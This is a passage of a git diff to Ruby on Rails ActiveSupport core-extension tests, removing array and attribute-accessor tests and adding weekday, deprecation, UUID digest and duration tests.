-    assert_equal "onetwo, and three", ['one', 'two', 'three'].to_sentence(:words_connector => nil)
-  end
-
-  def test_to_sentence_with_last_word_connector
-    assert_equal "one, two, and also three", ['one', 'two', 'three'].to_sentence(:last_word_connector => ', and also ')
-    assert_equal "one, twothree", ['one', 'two', 'three'].to_sentence(:last_word_connector => nil)
-    assert_equal "one, two three", ['one', 'two', 'three'].to_sentence(:last_word_connector => ' ')
-    assert_equal "one, two and three", ['one', 'two', 'three'].to_sentence(:last_word_connector => ' and ')
-  end
-
-  def test_two_elements
-    assert_equal "one and two", ['one', 'two'].to_sentence
-    assert_equal "one two", ['one', 'two'].to_sentence(:two_words_connector => ' ')
-  end
-
-  def test_one_element
-    assert_equal "one", ['one'].to_sentence
-  end
-
-  def test_one_element_not_same_object
-    elements = ["one"]
-    assert_not_equal elements[0].object_id, elements.to_sentence.object_id
-  end
-
-  def test_one_non_string_element
-    assert_equal '1', [1].to_sentence
-  end
-
-  def test_does_not_modify_given_hash
-    options = { words_connector: ' ' }
-    assert_equal "one two, and three", ['one', 'two', 'three'].to_sentence(options)
-    assert_equal({ words_connector: ' ' }, options)
-  end
-
-  def test_with_blank_elements
-    assert_equal ", one, , two, and three", [nil, 'one', '', 'two', 'three'].to_sentence
-  end
-end
-
-class ArrayExtToSTests < ActiveSupport::TestCase
-  def test_to_s_db
-    collection = [
-      Class.new { def id() 1 end }.new,
-      Class.new { def id() 2 end }.new,
-      Class.new { def id() 3 end }.new
-    ]
-
-    assert_equal "null", [].to_s(:db)
-    assert_equal "1,2,3", collection.to_s(:db)
-  end
-end
-
-class ArrayExtGroupingTests < ActiveSupport::TestCase
-  def setup
-    Fixnum.send :private, :/  # test we avoid Integer#/ (redefined by mathn)
-  end
-
-  def teardown
-    Fixnum.send :public, :/
-  end
-
-  def test_in_groups_of_with_perfect_fit
-    groups = []
-    ('a'..'i').to_a.in_groups_of(3) do |group|
-      groups << group
-    end
-
-    assert_equal [%w(a b c), %w(d e f), %w(g h i)], groups
-    assert_equal [%w(a b c), %w(d e f), %w(g h i)], ('a'..'i').to_a.in_groups_of(3)
-  end
-
-  def test_in_groups_of_with_padding
-    groups = []
-    ('a'..'g').to_a.in_groups_of(3) do |group|
-      groups << group
-    end
-
-    assert_equal [%w(a b c), %w(d e f), ['g', nil, nil]], groups
-  end
-
-  def test_in_groups_of_pads_with_specified_values
-    groups = []
-
-    ('a'..'g').to_a.in_groups_of(3, 'foo') do |group|
-      groups << group
-    end
-
-    assert_equal [%w(a b c), %w(d e f), ['g', 'foo', 'foo']], groups
-  end
-
-  def test_in_groups_of_without_padding
-    groups = []
-
-    ('a'..'g').to_a.in_groups_of(3, false) do |group|
-      groups << group
-    end
-
-    assert_equal [%w(a b c), %w(d e f), ['g']], groups
-  end
-
-  def test_in_groups_returned_array_size
-    array = (1..7).to_a
-
-    1.upto(array.size + 1) do |number|
-      assert_equal number, array.in_groups(number).size
-    end
-  end
-
-  def test_in_groups_with_empty_array
-    assert_equal [[], [], []], [].in_groups(3)
-  end
-
-  def test_in_groups_with_block
-    array = (1..9).to_a
-    groups = []
-
-    array.in_groups(3) do |group|
-      groups << group
-    end
-
-    assert_equal array.in_groups(3), groups
-  end
-
-  def test_in_groups_with_perfect_fit
-    assert_equal [[1, 2, 3], [4, 5, 6], [7, 8, 9]],
-      (1..9).to_a.in_groups(3)
-  end
-
-  def test_in_groups_with_padding
-    array = (1..7).to_a
-
-    assert_equal [[1, 2, 3], [4, 5, nil], [6, 7, nil]],
-      array.in_groups(3)
-    assert_equal [[1, 2, 3], [4, 5, 'foo'], [6, 7, 'foo']],
-      array.in_groups(3, 'foo')
-  end
-
-  def test_in_groups_without_padding
-    assert_equal [[1, 2, 3], [4, 5], [6, 7]],
-      (1..7).to_a.in_groups(3, false)
-  end
-end
-
-class ArraySplitTests < ActiveSupport::TestCase
-  def test_split_with_empty_array
-    assert_equal [[]], [].split(0)
-  end
-
-  def test_split_with_argument
-    assert_equal [[1, 2], [4, 5]],  [1, 2, 3, 4, 5].split(3)
-    assert_equal [[1, 2, 3, 4, 5]], [1, 2, 3, 4, 5].split(0)
-  end
-
-  def test_split_with_block
-    assert_equal [[1, 2], [4, 5], [7, 8], [10]], (1..10).to_a.split { |i| i % 3 == 0 }
-  end
-
-  def test_split_with_edge_values
-    assert_equal [[], [2, 3, 4, 5]],  [1, 2, 3, 4, 5].split(1)
-    assert_equal [[1, 2, 3, 4], []],  [1, 2, 3, 4, 5].split(5)
-    assert_equal [[], [2, 3, 4], []], [1, 2, 3, 4, 5].split { |i| i == 1 || i == 5 }
-  end
-end
-
-class ArrayToXmlTests < ActiveSupport::TestCase
-  def test_to_xml
-    xml = [
-      { :name => "David", :age => 26, :age_in_millis => 820497600000 },
-      { :name => "Jason", :age => 31, :age_in_millis => BigDecimal.new('1.0') }
-    ].to_xml(:skip_instruct => true, :indent => 0)
-
-    assert_equal '<objects type="array"><object>', xml.first(30)
-    assert xml.include?(%(<age type="integer">26</age>)), xml
-    assert xml.include?(%(<age-in-millis type="integer">820497600000</age-in-millis>)), xml
-    assert xml.include?(%(<name>David</name>)), xml
-    assert xml.include?(%(<age type="integer">31</age>)), xml
-    assert xml.include?(%(<age-in-millis type="decimal">1.0</age-in-millis>)), xml
-    assert xml.include?(%(<name>Jason</name>)), xml
-  end
-
-  def test_to_xml_with_dedicated_name
-    xml = [
-      { :name => "David", :age => 26, :age_in_millis => 820497600000 }, { :name => "Jason", :age => 31 }
-    ].to_xml(:skip_instruct => true, :indent => 0, :root => "people")
-
-    assert_equal '<people type="array"><person>', xml.first(29)
-  end
-
-  def test_to_xml_with_options
-    xml = [
-      { :name => "David", :street_address => "Paulina" }, { :name => "Jason", :street_address => "Evergreen" }
-    ].to_xml(:skip_instruct => true, :skip_types => true, :indent => 0)
-
-    assert_equal "<objects><object>", xml.first(17)
-    assert xml.include?(%(<street-address>Paulina</street-address>))
-    assert xml.include?(%(<name>David</name>))
-    assert xml.include?(%(<street-address>Evergreen</street-address>))
-    assert xml.include?(%(<name>Jason</name>))
-  end
-
-  def test_to_xml_with_dasherize_false
-    xml = [
-      { :name => "David", :street_address => "Paulina" }, { :name => "Jason", :street_address => "Evergreen" }
-    ].to_xml(:skip_instruct => true, :skip_types => true, :indent => 0, :dasherize => false)
-
-    assert_equal "<objects><object>", xml.first(17)
-    assert xml.include?(%(<street_address>Paulina</street_address>))
-    assert xml.include?(%(<street_address>Evergreen</street_address>))
-  end
-
-  def test_to_xml_with_dasherize_true
-    xml = [
-      { :name => "David", :street_address => "Paulina" }, { :name => "Jason", :street_address => "Evergreen" }
-    ].to_xml(:skip_instruct => true, :skip_types => true, :indent => 0, :dasherize => true)
-
-    assert_equal "<objects><object>", xml.first(17)
-    assert xml.include?(%(<street-address>Paulina</street-address>))
-    assert xml.include?(%(<street-address>Evergreen</street-address>))
-  end
-
-  def test_to_with_instruct
-    xml = [
-      { :name => "David", :age => 26, :age_in_millis => 820497600000 },
-      { :name => "Jason", :age => 31, :age_in_millis => BigDecimal.new('1.0') }
-    ].to_xml(:skip_instruct => false, :indent => 0)
-
-    assert_match(/^<\?xml [^>]*/, xml)
-    assert_equal 0, xml.rindex(/<\?xml /)
-  end
-
-  def test_to_xml_with_block
-    xml = [
-      { :name => "David", :age => 26, :age_in_millis => 820497600000 },
-      { :name => "Jason", :age => 31, :age_in_millis => BigDecimal.new('1.0') }
-    ].to_xml(:skip_instruct => true, :indent => 0) do |builder|
-      builder.count 2
-    end
-
-    assert xml.include?(%(<count>2</count>)), xml
-  end
-
-  def test_to_xml_with_empty
-    xml = [].to_xml
-    assert_match(/type="array"\/>/, xml)
-  end
-
-  def test_to_xml_dups_options
-    options = {:skip_instruct => true}
-    [].to_xml(options)
-    # :builder, etc, shouldn't be added to options
-    assert_equal({:skip_instruct => true}, options)
-  end
-end
-
-class ArrayExtractOptionsTests < ActiveSupport::TestCase
-  class HashSubclass < Hash
-  end
-
-  class ExtractableHashSubclass < Hash
-    def extractable_options?
-      true
-    end
-  end
-
-  def test_extract_options
-    assert_equal({}, [].extract_options!)
-    assert_equal({}, [1].extract_options!)
-    assert_equal({:a=>:b}, [{:a=>:b}].extract_options!)
-    assert_equal({:a=>:b}, [1, {:a=>:b}].extract_options!)
-  end
-
-  def test_extract_options_doesnt_extract_hash_subclasses
-    hash = HashSubclass.new
-    hash[:foo] = 1
-    array = [hash]
-    options = array.extract_options!
-    assert_equal({}, options)
-    assert_equal [hash], array
-  end
-
-  def test_extract_options_extracts_extractable_subclass
-    hash = ExtractableHashSubclass.new
-    hash[:foo] = 1
-    array = [hash]
-    options = array.extract_options!
-    assert_equal({:foo => 1}, options)
-    assert_equal [], array
-  end
-
-  def test_extract_options_extracts_hwia
-    hash = [{:foo => 1}.with_indifferent_access]
-    options = hash.extract_options!
-    assert_equal 1, options[:foo]
-  end
-end
-
-class ArrayWrapperTests < ActiveSupport::TestCase
-  class FakeCollection
-    def to_ary
-      ["foo", "bar"]
-    end
-  end
-
-  class Proxy
-    def initialize(target) @target = target end
-    def method_missing(*a) @target.send(*a) end
-  end
-
-  class DoubtfulToAry
-    def to_ary
-      :not_an_array
-    end
-  end
-
-  class NilToAry
-    def to_ary
-      nil
-    end
-  end
-
-  def test_array
-    ary = %w(foo bar)
-    assert_same ary, Array.wrap(ary)
-  end
-
-  def test_nil
-    assert_equal [], Array.wrap(nil)
-  end
-
-  def test_object
-    o = Object.new
-    assert_equal [o], Array.wrap(o)
-  end
-
-  def test_string
-    assert_equal ["foo"], Array.wrap("foo")
-  end
-
-  def test_string_with_newline
-    assert_equal ["foo\nbar"], Array.wrap("foo\nbar")
-  end
-
-  def test_object_with_to_ary
-    assert_equal ["foo", "bar"], Array.wrap(FakeCollection.new)
-  end
-
-  def test_proxy_object
-    p = Proxy.new(Object.new)
-    assert_equal [p], Array.wrap(p)
-  end
-
-  def test_proxy_to_object_with_to_ary
-    p = Proxy.new(FakeCollection.new)
-    assert_equal [p], Array.wrap(p)
-  end
-
-  def test_struct
-    o = Struct.new(:foo).new(123)
-    assert_equal [o], Array.wrap(o)
-  end
-
-  def test_wrap_returns_wrapped_if_to_ary_returns_nil
-    o = NilToAry.new
-    assert_equal [o], Array.wrap(o)
-  end
-
-  def test_wrap_does_not_complain_if_to_ary_does_not_return_an_array
-    assert_equal DoubtfulToAry.new.to_ary, Array.wrap(DoubtfulToAry.new)
-  end
-end
-
-class ArrayPrependAppendTest < ActiveSupport::TestCase
-  def test_append
-    assert_equal [1, 2], [1].append(2)
-  end
-
-  def test_prepend
-    assert_equal [2, 1], [1].prepend(2)
-  end
-end
diff --git a/activesupport/test/core_ext/bigdecimal_test.rb b/activesupport/test/core_ext/bigdecimal_test.rb
index a5987044b9..423a3f2e9d 100644
--- a/activesupport/test/core_ext/bigdecimal_test.rb
+++ b/activesupport/test/core_ext/bigdecimal_test.rb
@@ -1,20 +1,7 @@
 require 'abstract_unit'
-require 'bigdecimal'
 require 'active_support/core_ext/big_decimal'
 
 class BigDecimalTest < ActiveSupport::TestCase
-  def test_to_yaml
-    assert_match("--- 100000.30020320320000000000000000000000000000001\n", BigDecimal.new('100000.30020320320000000000000000000000000000001').to_yaml)
-    assert_match("--- .Inf\n",  BigDecimal.new('Infinity').to_yaml)
-    assert_match("--- .NaN\n",  BigDecimal.new('NaN').to_yaml)
-    assert_match("--- -.Inf\n", BigDecimal.new('-Infinity').to_yaml)
-  end
-
-  def test_to_d
-    bd = BigDecimal.new '10'
-    assert_equal bd, bd.to_d
-  end
-  
   def test_to_s
     bd = BigDecimal.new '0.01'
     assert_equal '0.01', bd.to_s
diff --git a/activesupport/test/core_ext/class/attribute_accessor_test.rb b/activesupport/test/core_ext/class/attribute_accessor_test.rb
deleted file mode 100644
index 0d5f39a72b..0000000000
--- a/activesupport/test/core_ext/class/attribute_accessor_test.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-require 'abstract_unit'
-require 'active_support/core_ext/class/attribute_accessors'
-
-class ClassAttributeAccessorTest < ActiveSupport::TestCase
-  def setup
-    @class = Class.new do
-      cattr_accessor :foo
-      cattr_accessor :bar,  :instance_writer   => false
-      cattr_reader   :shaq, :instance_reader   => false
-      cattr_accessor :camp, :instance_accessor => false
-    end
-    @object = @class.new
-  end
-
-  def test_should_use_mattr_default
-    assert_nil @class.foo
-    assert_nil @object.foo
-  end
-
-  def test_should_set_mattr_value
-    @class.foo = :test
-    assert_equal :test, @object.foo
-
-    @object.foo = :test2
-    assert_equal :test2, @class.foo
-  end
-
-  def test_should_not_create_instance_writer
-    assert_respond_to @class, :foo
-    assert_respond_to @class, :foo=
-    assert_respond_to @object, :bar
-    assert !@object.respond_to?(:bar=)
-  end
-
-  def test_should_not_create_instance_reader
-    assert_respond_to @class, :shaq
-    assert !@object.respond_to?(:shaq)
-  end
-
-  def test_should_not_create_instance_accessors
-    assert_respond_to @class, :camp
-    assert !@object.respond_to?(:camp)
-    assert !@object.respond_to?(:camp=)
-  end
-
-  def test_should_raise_name_error_if_attribute_name_is_invalid
-    exception = assert_raises NameError do
-      Class.new do
-        cattr_reader "1nvalid"
-      end
-    end
-    assert_equal "invalid class attribute name: 1nvalid", exception.message
-
-    exception = assert_raises NameError do
-      Class.new do
-        cattr_writer "1nvalid"
-      end
-    end
-    assert_equal "invalid class attribute name: 1nvalid", exception.message
-  end
-end
diff --git a/activesupport/test/core_ext/class/delegating_attributes_test.rb b/activesupport/test/core_ext/class/delegating_attributes_test.rb
index 148f82946c..447b1d10ad 100644
--- a/activesupport/test/core_ext/class/delegating_attributes_test.rb
+++ b/activesupport/test/core_ext/class/delegating_attributes_test.rb
@@ -6,14 +6,18 @@ module DelegatingFixtures
   end
 
   class Child < Parent
-    superclass_delegating_accessor :some_attribute
+    ActiveSupport::Deprecation.silence do
+      superclass_delegating_accessor :some_attribute
+    end
   end
 
   class Mokopuna < Child
   end
 
   class PercysMom
-    superclass_delegating_accessor :superpower
+    ActiveSupport::Deprecation.silence do
+      superclass_delegating_accessor :superpower
+    end
   end
 
   class Percy < PercysMom
@@ -29,7 +33,10 @@ class DelegatingAttributesTest < ActiveSupport::TestCase
   end
 
   def test_simple_accessor_declaration
-    single_class.superclass_delegating_accessor :both
+    assert_deprecated do
+      single_class.superclass_delegating_accessor :both
+    end
+
     # Class should have accessor and mutator
     # the instance should have an accessor only
     assert_respond_to single_class, :both
@@ -39,14 +46,23 @@ class DelegatingAttributesTest < ActiveSupport::TestCase
   end
 
   def test_simple_accessor_declaration_with_instance_reader_false
-    single_class.superclass_delegating_accessor :no_instance_reader, :instance_reader => false
+    _instance_methods = single_class.public_instance_methods
+
+    assert_deprecated do
+      single_class.superclass_delegating_accessor :no_instance_reader, :instance_reader => false
+    end
+
     assert_respond_to single_class, :no_instance_reader
     assert_respond_to single_class, :no_instance_reader=
-    assert !single_class.public_instance_methods.map(&:to_s).include?("no_instance_reader")
+    assert !_instance_methods.include?(:no_instance_reader)
+    assert !_instance_methods.include?(:no_instance_reader?)
+    assert !_instance_methods.include?(:_no_instance_reader)
   end
 
   def test_working_with_simple_attributes
-    single_class.superclass_delegating_accessor :both
+    assert_deprecated do
+      single_class.superclass_delegating_accessor :both
+    end
 
     single_class.both = "HMMM"
 
@@ -62,7 +78,11 @@ class DelegatingAttributesTest < ActiveSupport::TestCase
 
   def test_child_class_delegates_to_parent_but_can_be_overridden
     parent = Class.new
-    parent.superclass_delegating_accessor :both
+
+    assert_deprecated do
+      parent.superclass_delegating_accessor :both
+    end
+
     child = Class.new(parent)
     parent.both = "1"
     assert_equal "1", child.both
@@ -94,4 +114,9 @@ class DelegatingAttributesTest < ActiveSupport::TestCase
     Child.some_attribute=nil
   end
 
+  def test_deprecation_warning
+    assert_deprecated(/superclass_delegating_accessor is deprecated/) do
+      single_class.superclass_delegating_accessor :test_attribute
+    end
+  end
 end
diff --git a/activesupport/test/core_ext/date_and_time_behavior.rb b/activesupport/test/core_ext/date_and_time_behavior.rb
index b4ef5a0597..784547bdf8 100644
--- a/activesupport/test/core_ext/date_and_time_behavior.rb
+++ b/activesupport/test/core_ext/date_and_time_behavior.rb
@@ -6,11 +6,21 @@ module DateAndTimeBehavior
     assert_equal date_time_init(2005,2,28,10,10,10), date_time_init(2005,3,2,10,10,10).yesterday.yesterday
   end
 
+  def test_prev_day
+    assert_equal date_time_init(2005,2,21,10,10,10), date_time_init(2005,2,22,10,10,10).prev_day
+    assert_equal date_time_init(2005,2,28,10,10,10), date_time_init(2005,3,2,10,10,10).prev_day.prev_day
+  end
+
   def test_tomorrow
     assert_equal date_time_init(2005,2,23,10,10,10), date_time_init(2005,2,22,10,10,10).tomorrow
     assert_equal date_time_init(2005,3,2,10,10,10),  date_time_init(2005,2,28,10,10,10).tomorrow.tomorrow
   end
 
+  def test_next_day
+    assert_equal date_time_init(2005,2,23,10,10,10), date_time_init(2005,2,22,10,10,10).next_day
+    assert_equal date_time_init(2005,3,2,10,10,10),  date_time_init(2005,2,28,10,10,10).next_day.next_day
+  end
+
   def test_days_ago
     assert_equal date_time_init(2005,6,4,10,10,10),  date_time_init(2005,6,5,10,10,10).days_ago(1)
     assert_equal date_time_init(2005,5,31,10,10,10),   date_time_init(2005,6,5,10,10,10).days_ago(5)
@@ -115,6 +125,28 @@ module DateAndTimeBehavior
     end
   end
 
+  def test_next_week_at_same_time
+    assert_equal date_time_init(2005,2,28,15,15,10),  date_time_init(2005,2,22,15,15,10).next_week(:monday, same_time: true)
+    assert_equal date_time_init(2005,3,4,15,15,10),   date_time_init(2005,2,22,15,15,10).next_week(:friday, same_time: true)
+    assert_equal date_time_init(2006,10,30,0,0,0), date_time_init(2006,10,23,0,0,0).next_week(:monday, same_time: true)
+    assert_equal date_time_init(2006,11,1,0,0,0),  date_time_init(2006,10,23,0,0,0).next_week(:wednesday, same_time: true)
+  end
+
+  def test_next_weekday_on_wednesday
+    assert_equal date_time_init(2015,1,8,0,0,0), date_time_init(2015,1,7,0,0,0).next_weekday
+    assert_equal date_time_init(2015,1,8,15,15,10), date_time_init(2015,1,7,15,15,10).next_weekday
+  end
+
+  def test_next_weekday_on_friday
+    assert_equal date_time_init(2015,1,5,0,0,0), date_time_init(2015,1,2,0,0,0).next_weekday
+    assert_equal date_time_init(2015,1,5,15,15,10), date_time_init(2015,1,2,15,15,10).next_weekday
+  end
+
+  def test_next_weekday_on_saturday
+    assert_equal date_time_init(2015,1,5,0,0,0), date_time_init(2015,1,3,0,0,0).next_weekday
+    assert_equal date_time_init(2015,1,5,15,15,10), date_time_init(2015,1,3,15,15,10).next_weekday
+  end
+
   def test_next_month_on_31st
     assert_equal date_time_init(2005,9,30,15,15,10), date_time_init(2005,8,31,15,15,10).next_month
   end
@@ -144,6 +176,29 @@ module DateAndTimeBehavior
     end
   end
 
+  def test_prev_week_at_same_time
+    assert_equal date_time_init(2005,2,21,15,15,10),  date_time_init(2005,3,1,15,15,10).prev_week(:monday, same_time: true)
+    assert_equal date_time_init(2005,2,22,15,15,10),  date_time_init(2005,3,1,15,15,10).prev_week(:tuesday, same_time: true)
+    assert_equal date_time_init(2005,2,25,15,15,10),  date_time_init(2005,3,1,15,15,10).prev_week(:friday, same_time: true)
+    assert_equal date_time_init(2006,10,30,0,0,0), date_time_init(2006,11,6,0,0,0).prev_week(:monday, same_time: true)
+    assert_equal date_time_init(2006,11,15,0,0,0), date_time_init(2006,11,23,0,0,0).prev_week(:wednesday, same_time: true)
+  end
+
+  def test_prev_weekday_on_wednesday
+    assert_equal date_time_init(2015,1,6,0,0,0), date_time_init(2015,1,7,0,0,0).prev_weekday
+    assert_equal date_time_init(2015,1,6,15,15,10), date_time_init(2015,1,7,15,15,10).prev_weekday
+  end
+
+  def test_prev_weekday_on_monday
+    assert_equal date_time_init(2015,1,2,0,0,0), date_time_init(2015,1,5,0,0,0).prev_weekday
+    assert_equal date_time_init(2015,1,2,15,15,10), date_time_init(2015,1,5,15,15,10).prev_weekday
+  end
+
+  def test_prev_weekday_on_sunday
+    assert_equal date_time_init(2015,1,2,0,0,0), date_time_init(2015,1,4,0,0,0).prev_weekday
+    assert_equal date_time_init(2015,1,2,15,15,10), date_time_init(2015,1,4,15,15,10).prev_weekday
+  end
+
   def test_prev_month_on_31st
     assert_equal date_time_init(2004,2,29,10,10,10), date_time_init(2004,3,31,10,10,10).prev_month
   end
@@ -231,6 +286,21 @@ module DateAndTimeBehavior
     end
   end
 
+  def test_on_weekend_on_saturday
+    assert date_time_init(2015,1,3,0,0,0).on_weekend?
+    assert date_time_init(2015,1,3,15,15,10).on_weekend?
+  end
+
+  def test_on_weekend_on_sunday
+    assert date_time_init(2015,1,4,0,0,0).on_weekend?
+    assert date_time_init(2015,1,4,15,15,10).on_weekend?
+  end
+
+  def test_on_weekend_on_monday
+    assert_not date_time_init(2015,1,5,0,0,0).on_weekend?
+    assert_not date_time_init(2015,1,5,15,15,10).on_weekend?
+  end
+
   def with_bw_default(bw = :monday)
     old_bw = Date.beginning_of_week
     Date.beginning_of_week = bw
diff --git a/activesupport/test/core_ext/date_ext_test.rb b/activesupport/test/core_ext/date_ext_test.rb
index eab3aa7a6e..e89be25b53 100644
--- a/activesupport/test/core_ext/date_ext_test.rb
+++ b/activesupport/test/core_ext/date_ext_test.rb
@@ -1,6 +1,7 @@
 require 'abstract_unit'
 require 'active_support/time'
 require 'core_ext/date_and_time_behavior'
+require 'time_zone_test_helpers'
 
 class DateExtCalculationsTest < ActiveSupport::TestCase
   def date_time_init(year,month,day,*args)
@@ -8,6 +9,7 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
   end
 
   include DateAndTimeBehavior
+  include TimeZoneTestHelpers
 
   def test_yesterday_in_calendar_reform
     assert_equal Date.new(1582,10,4), Date.new(1582,10,15).yesterday
@@ -276,6 +278,23 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
     end
   end
 
+  def test_all_week
+    assert_equal Date.new(2011,6,6)..Date.new(2011,6,12), Date.new(2011,6,7).all_week
+    assert_equal Date.new(2011,6,5)..Date.new(2011,6,11), Date.new(2011,6,7).all_week(:sunday)
+  end
+
+  def test_all_month
+    assert_equal Date.new(2011,6,1)..Date.new(2011,6,30), Date.new(2011,6,7).all_month
+  end
+
+  def test_all_quarter
+    assert_equal Date.new(2011,4,1)..Date.new(2011,6,30), Date.new(2011,6,7).all_quarter
+  end
+
+  def test_all_year
+    assert_equal Date.new(2011,1,1)..Date.new(2011,12,31), Date.new(2011,6,7).all_year
+  end
+
   def test_xmlschema
     with_env_tz 'US/Eastern' do
       assert_match(/^1980-02-28T00:00:00-05:?00$/, Date.new(1980, 2, 28).xmlschema)
@@ -332,22 +351,6 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
     Date.new(2005,2,28).advance(options)
     assert_equal({ :years => 3, :months => 11, :days => 2 }, options)
   end
-
-  protected
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-    end
-
-    def with_tz_default(tz = nil)
-      old_tz = Time.zone
-      Time.zone = tz
-      yield
-    ensure
-      Time.zone = old_tz
-    end
 end
 
 class DateExtBehaviorTest < ActiveSupport::TestCase
diff --git a/activesupport/test/core_ext/date_time_ext_test.rb b/activesupport/test/core_ext/date_time_ext_test.rb
index 0a40aeb96c..74319ecd09 100644
--- a/activesupport/test/core_ext/date_time_ext_test.rb
+++ b/activesupport/test/core_ext/date_time_ext_test.rb
@@ -1,6 +1,7 @@
 require 'abstract_unit'
 require 'active_support/time'
 require 'core_ext/date_and_time_behavior'
+require 'time_zone_test_helpers'
 
 class DateTimeExtCalculationsTest < ActiveSupport::TestCase
   def date_time_init(year,month,day,hour,minute,second,*args)
@@ -8,6 +9,7 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
   end
 
   include DateAndTimeBehavior
+  include TimeZoneTestHelpers
 
   def test_to_s
     datetime = DateTime.new(2005, 2, 21, 14, 30, 0, 0)
@@ -162,6 +164,12 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
     assert_equal DateTime.civil(2013,10,17,20,22,19), DateTime.civil(2005,2,28,15,15,10).advance(:years => 7, :months => 19, :weeks => 2, :days => 5, :hours => 5, :minutes => 7, :seconds => 9)
   end
 
+  def test_advance_partial_days
+    assert_equal DateTime.civil(2012,9,29,13,15,10),  DateTime.civil(2012,9,28,1,15,10).advance(:days => 1.5)
+    assert_equal DateTime.civil(2012,9,28,13,15,10),  DateTime.civil(2012,9,28,1,15,10).advance(:days => 0.5)
+    assert_equal DateTime.civil(2012,10,29,13,15,10), DateTime.civil(2012,9,28,1,15,10).advance(:days => 1.5, :months => 1)
+  end
+
   def test_advanced_processes_first_the_date_deltas_and_then_the_time_deltas
     # If the time deltas were processed first, the following datetimes would be advanced to 2010/04/01 instead.
     assert_equal DateTime.civil(2010, 3, 29), DateTime.civil(2010, 2, 28, 23, 59, 59).advance(:months => 1, :seconds => 1)
@@ -330,6 +338,7 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
   def test_to_f
     assert_equal 946684800.0, DateTime.civil(2000).to_f
     assert_equal 946684800.0, DateTime.civil(1999,12,31,19,0,0,Rational(-5,24)).to_f
+    assert_equal 946684800.5, DateTime.civil(1999,12,31,19,0,0.5,Rational(-5,24)).to_f
   end
 
   def test_to_i
@@ -346,12 +355,4 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
     assert_equal 0, DateTime.civil(2000).nsec
     assert_equal 500000000, DateTime.civil(2000, 1, 1, 0, 0, Rational(1,2)).nsec
   end
-
-  protected
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-    end
 end
diff --git a/activesupport/test/core_ext/digest/uuid_test.rb b/activesupport/test/core_ext/digest/uuid_test.rb
new file mode 100644
index 0000000000..08e0a1d6e1
--- /dev/null
+++ b/activesupport/test/core_ext/digest/uuid_test.rb
@@ -0,0 +1,24 @@
+require 'abstract_unit'
+require 'active_support/core_ext/digest/uuid'
+
+class DigestUUIDExt < ActiveSupport::TestCase
+  def test_v3_uuids
+    assert_equal "3d813cbb-47fb-32ba-91df-831e1593ac29", Digest::UUID.uuid_v3(Digest::UUID::DNS_NAMESPACE, "www.widgets.com")
+    assert_equal "86df55fb-428e-3843-8583-ba3c05f290bc", Digest::UUID.uuid_v3(Digest::UUID::URL_NAMESPACE, "http://www.widgets.com")
+    assert_equal "8c29ab0e-a2dc-3482-b5eb-20cb2e2387a1", Digest::UUID.uuid_v3(Digest::UUID::OID_NAMESPACE, "1.2.3")
+    assert_equal "ee49149d-53a4-304a-890b-468229f6afc3", Digest::UUID.uuid_v3(Digest::UUID::X500_NAMESPACE, "cn=John Doe, ou=People, o=Acme, Inc., c=US")
+  end
+
+  def test_v5_uuids
+    assert_equal "21f7f8de-8051-5b89-8680-0195ef798b6a", Digest::UUID.uuid_v5(Digest::UUID::DNS_NAMESPACE, "www.widgets.com")
+    assert_equal "4e570fd8-186d-5a74-90f0-4d28e34673a1", Digest::UUID.uuid_v5(Digest::UUID::URL_NAMESPACE, "http://www.widgets.com")
+    assert_equal "42d5e23b-3a02-5135-85c6-52d1102f1f00", Digest::UUID.uuid_v5(Digest::UUID::OID_NAMESPACE, "1.2.3")
+    assert_equal "fd5b2ddf-bcfe-58b6-90d6-db50f74db527", Digest::UUID.uuid_v5(Digest::UUID::X500_NAMESPACE, "cn=John Doe, ou=People, o=Acme, Inc., c=US")
+  end
+
+  def test_invalid_hash_class
+    assert_raise ArgumentError do
+      Digest::UUID.uuid_from_hash(Digest::SHA2, Digest::UUID::OID_NAMESPACE, '1.2.3')
+    end
+  end
+end
diff --git a/activesupport/test/core_ext/duplicable_test.rb b/activesupport/test/core_ext/duplicable_test.rb
deleted file mode 100644
index e0566e012c..0000000000
--- a/activesupport/test/core_ext/duplicable_test.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-require 'abstract_unit'
-require 'bigdecimal'
-require 'active_support/core_ext/object/duplicable'
-require 'active_support/core_ext/numeric/time'
-
-class DuplicableTest < ActiveSupport::TestCase
-  RAISE_DUP  = [nil, false, true, :symbol, 1, 2.3, 5.seconds]
-  YES = ['1', Object.new, /foo/, [], {}, Time.now, Class.new, Module.new]
-  NO = []
-
-  begin
-    bd = BigDecimal.new('4.56')
-    YES << bd.dup
-  rescue TypeError
-    RAISE_DUP << bd
-  end
-
-
-  def test_duplicable
-    (RAISE_DUP + NO).each do |v|
-      assert !v.duplicable?
-    end
-
-    YES.each do |v|
-      assert v.duplicable?, "#{v.class} should be duplicable"
-    end
-
-    (YES + NO).each do |v|
-      assert_nothing_raised { v.dup }
-    end
-
-    RAISE_DUP.each do |v|
-      assert_raises(TypeError, v.class.name) do
-        v.dup
-      end
-    end
-  end
-end
diff --git a/activesupport/test/core_ext/duration_test.rb b/activesupport/test/core_ext/duration_test.rb
index 5e3987265b..c283b546e6 100644
--- a/activesupport/test/core_ext/duration_test.rb
+++ b/activesupport/test/core_ext/duration_test.rb
@@ -2,8 +2,11 @@ require 'abstract_unit'
 require 'active_support/inflector'
 require 'active_support/time'
 require 'active_support/json'
+require 'time_zone_test_helpers'
 
 class DurationTest < ActiveSupport::TestCase
+  include TimeZoneTestHelpers
+
   def test_is_a
     d = 1.day
     assert d.is_a?(ActiveSupport::Duration)
@@ -17,19 +20,43 @@ class DurationTest < ActiveSupport::TestCase
     assert !d.is_a?(k)
   end
 
+  def test_instance_of
+    assert 1.minute.instance_of?(Fixnum)
+    assert 2.days.instance_of?(ActiveSupport::Duration)
